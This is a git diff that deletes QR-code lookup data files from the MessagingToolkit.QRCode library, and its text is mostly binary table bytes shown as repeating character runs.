uuttssrrvvwwxxyy==>>??@@llkkjjiiEEFFGGHH ddccbbaaNNOOPPQQ[[ZZYYXXVVWWXXYY==>>??@@ !!''(())**..--,,++ddeeffgg00112233%%$$##""yyxxwwvv8899::;;qqppoonnzz{{||}}AABBCCDDhhggffeeIIJJKKLL - - ``__^^]]RRSSTTUUWWVVUUTTZZ[[\\]]AABBCCDD""##$$%%++,,--..**))((''~~}}||{{hhiijjkk44556677!! uuttssrr<<==>>??mmllkkjj~~EEFFGGHH ddccbbaaMMNNOOPP\\[[ZZYYVVWWXXYYSSRRQQPP^^__``aaEEFFGGHH&&''(())//001122&&%%$$##zzyyxxwwqqrrsstt8899::;;qqppoonn@@AABBCCiihhggffIIJJKKLL - - ``__^^]]QQRRSSTTXXWWVVUUZZ[[\\]] OONNMMLLbbccddeeIIJJKKLL**++,,--33445566""!! vvuuttssuuvvwwxx<<==>>??mmllkkjjDDEEFFGGeeddccbbMMNNOOPP\\[[ZZYYUUVVWWXXTTSSRRQQ^^__``aa - - KKJJIIHHffgghhiiMMNNOOUU..//0011778899::rrqqppooyyzz{{||@@AABBCCiihhggffHHIIJJKK - -aa``__^^QQRRSSTTXXWWVVUUYYZZ[[\\PPOONNMMbbccddeeGGFFEEDDjjkkllmmVVWWXXYY22334455;;<<==>>nnmmllkk}}~~DDEEFFGGeeddccbbLLMMNNOO ]]\\[[ZZUUVVWWXXTTSSRRQQ]]^^__`` - - LLKKJJIIffgghhiiCCBBAA@@nnooppqqZZ[[\\]]66778899??@@AABBjjiihhggHHIIJJKK - -aa``__^^PPQQRRSSYYXXWWVVYYZZ[[\\PPOONNMMaabbccdd HHGGFFEEjjkkllmm??>>==<>??@@AAGGHHIIJJ bbaa``__PPQQRRSSYYXXWWVVXXYYZZ[[QQPPOONNaabbccdd HHGGFFEEiijjkkll@@??>>==rrssttuu !!77665544zz{{||}}ffgghhiiBBCCDDEEKKLLMMNN - - ^^]]\\[[TTUUVVWWUUTTSSRR\\]]^^__ - - MMLLKKJJeeffgghhDDCCBBAAmmnnoopp<<;;::99vvwwxxyy""##$$%%33221100~~jjkkqqrrFFGGHHIIOOPPQQRRZZYYXXWWXXYYZZ[[QQPPOONN``aabbcc IIHHGGFFiijjkkll@@??>>==qqrrsstt 88776655zz{{||}}&&''(())//..--,,ssttuuvvJJKKLLMMSSTTUUVVVVUUTTSS\\]]^^__ - - MMLLKKJJddeeffggEEDDCCBBmmnnoopp<<;;::99uuvvwwxx!!""##$$44332211~~}}||{{~~**++,,--++**))((~~}}||wwxxyyzzNNOOPPQQWWXXYYZZRRQQPPOO``aabbcc IIHHGGFFhhiijjkkAA@@??>>qqrrsstt 88776655yyzz{{||%%&&''((00//..--zzyyxxww..//0011''&&%%$${{zzyyxx{{||}}~~RRSSTTUU[[\\]]^^ - -NNMMLLKKddeeffggEEDDCCBBllmmnnoo==<<;;::uuvvwwxx!!""##$$44332211}}~~))**++,,,,++**))vvuuttss22334455##""!! wwvvuuttVVWWXXYY__``aabb JJIIHHGGhhiijjkkAA@@??>>ppqqrrss99887766yyzz{{||%%&&''((00//..----..//00((''&&%%rrqqkkjj66778899ssrrqqppZZ[[\\]]ccddeeffFFEEDDCCllmmnnoo==<<;;::ttuuvvww !!""##55443322~~}}||}}~~))**++,,,,++**))~~}}11223344$$##""!!iihhggff::;;<<==oonnmmll^^__``aagghhiijjBBAA@@??ppqqrrss99887766xxyyzz{{$$%%&&''1100//..{{zzyyxx--..//00((''&&%%||{{zzyy55667788 eeddccbb~~}}||>>??@@AAkkjjiihhbbccddeekkllmmnn>>==<<;;ttuuvvww !!""##55443322||}}~~(())**++--,,++**wwvvuutt11223344$$##""!!xxwwvvuu99::;;<<aa``__^^{{zzyyxxBBCCDDEEggffeeddffgghhiiooppqqrr::998877xxyyzz{{$$%%&&''1100//..,,--..//))((''&&ssrrqqkk55667788 ttssrrqq==>>??@@]]\\[[ZZwwvvuuttFFGGHHII ccbbaa``jjkkllmmssttuuvv !!""66554433~~}}||}}~~(())**++--,,++**~~00112233%%$$##""jjiihhgg99::;;<<ppoonnmmAABBCCDDYYXXWWVVssrrqqpoJJKKLLMM - - __^^]]\\nnooppqqwwxxyyzz##$$%%&&221100//||{{zzyy,,--..//))((''&&}}||{{zz44556677!! ffeeddcc~~}}==>>??@@llkkjjiiEEFFGGHH UUOONNMMnmlkkjjiNNOOPPQQ[[ZZYYXXrrssttuu{{||}}~~''(())**..--,,++xxwwvvuu00112233%%$$##""yyxxwwvv8899::;;bbaa``__||{{zzyyAABBCCDDhhggffeeIIJJKKLL - - LLKKJJIIihhggffeRRSSTTUUWWVVUUTTvvwwxxyy++,,--..**))((''ttssrrqq44556677!! uuttssrr<<==>>??^^]]\\[[xxwwvvuuEEFFGGHH ddccbbaaMMNNOOPPHHGGFFEEeddccbbaVVWWXXYYSSRRQQPPzz{{||}}//001122&&%%$$##kkjjiihh8899::;;qqppoonn@@AABBCCZZYYXXWWttssrrqqIIJJKKLL - - ``__^^]]QQRRSSTTDDCCBBAAa``__^^]ZZ[[\\]] OONNMMLL~~33445566""!! ggffeedd~~<<==>>??mmllkkjjDDEEFFGGVVUUOONNponmlkkjMMNNOOPP\\[[ZZYYUUVVWWXX@@??>>==]\\[[ZZY^^__``aa - - KKJJIIHH778899::ccbbaa``}}||{{zz@@AABBCCiihhggffHHIIJJKK - -MMLLKKJJjiihhggfQQRRSSTTXXWWVVUUYYZZ[[\\<<;;::99YXXWWVVUbbccddeeGGFFEEDD;;<<==>>__^^]]\\yyxxwwvvDDEEFFGGeeddccbbLLMMNNOO IIHHGGFFfeeddccbUUVVWWXXTTSSRRQQ]]^^__`` - - 33221100UTSRQPOOffgghhiiCCBBAA@@??@@AABB[[ZZYYXXuuttssrrHHIIJJKK - -aa``__^^PPQQRRSSEEDD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ZdQbfpvJltH~ftArd~HftbdQHAbےlJtAJ`ےdQZ|˂pZHAvˍpfJltXnvdQbtvnXrtAJl˂pZH|ZdQZp˂Jltے`JJfpvےbHApfHXQr˂~HfpdrtAvpftlJnXv`bdQZ|`vXn|ZdQbpvnZ|d`JXQrrd|bHAZpdrtAJbے`H~ㅐfbAdZ|pfH~lJtArv`ftbdQAbے`btlrXQJ`bnvXQr˂nXvZp˂f`vXp`JXQvnvfJltH~ftArdf~HdrtAvpftlJXv`frtAJl˂pZZdQbt˂rXQltbJXQr`vXndrQtf`vd|ZHfpvZ|dJXQrJfpvےbHApfHpZHAb`f~rXQJ`nvpr˂p~HfbdQZ|`vXn|ZdQbfpvJltH~ftArd~HXtbdQHAbےlJtAJ`ےdQZ|˂pZHAvˍpfJlt66666666666666666666666666666666666666666667777777777777777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_0.dat deleted file mode 100644 index 07a0af5..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_1.dat deleted file mode 100644 index 4a1fa32..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_2.dat deleted file mode 100644 index 6e60276..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_3.dat deleted file mode 100644 index cb5289e..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv3_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_0.dat deleted file mode 100644 index 7bbfe5a..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_0.dat +++ /dev/null @@ -1,353 +0,0 @@ -~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwvutstststsrqrqrqrqopopopopnmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqopopoooonmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqoopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYXWXWVUVUVUVUSSSSSTSTRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmlklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{zyzyzyxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQPONMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqoooopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[ZYZYXWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqpoponmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUSTSSSSSSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}|{|{|{zyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSSSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE~}~}~}|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopooonmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsooopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbaba`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsooooooponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSSSSSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcbaba`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEDCDCDCDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutsrqrqrqpopooooonmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWS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|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijihghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCDCBABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvutsrqrqrqrqpoooooopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSSSSRQRQRQRQPOPOPOPONMNMNMNMLKJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqopopopopnmnmnmnmlklkjijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqopopopopnmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:98787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;877777786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787877776565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;778787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;:9878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:9777778786565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:978777777656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!      - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:98787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:98787877765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=<;<;<;:9:9:9:97778787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?<;<;<;<;:9:9:9:97878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?<;<;<;<;:9:9:9:97878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?<;<;<;<;:9:9:9:97878787865656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?<;<;<;<;:9:9:9:97878787865656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?>=>=>=<;<;<;<;:9:9:9:97878787865656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA>=>=>=>=<;<;<;<;:9:9:9:97777778765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - BABABABA>=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - 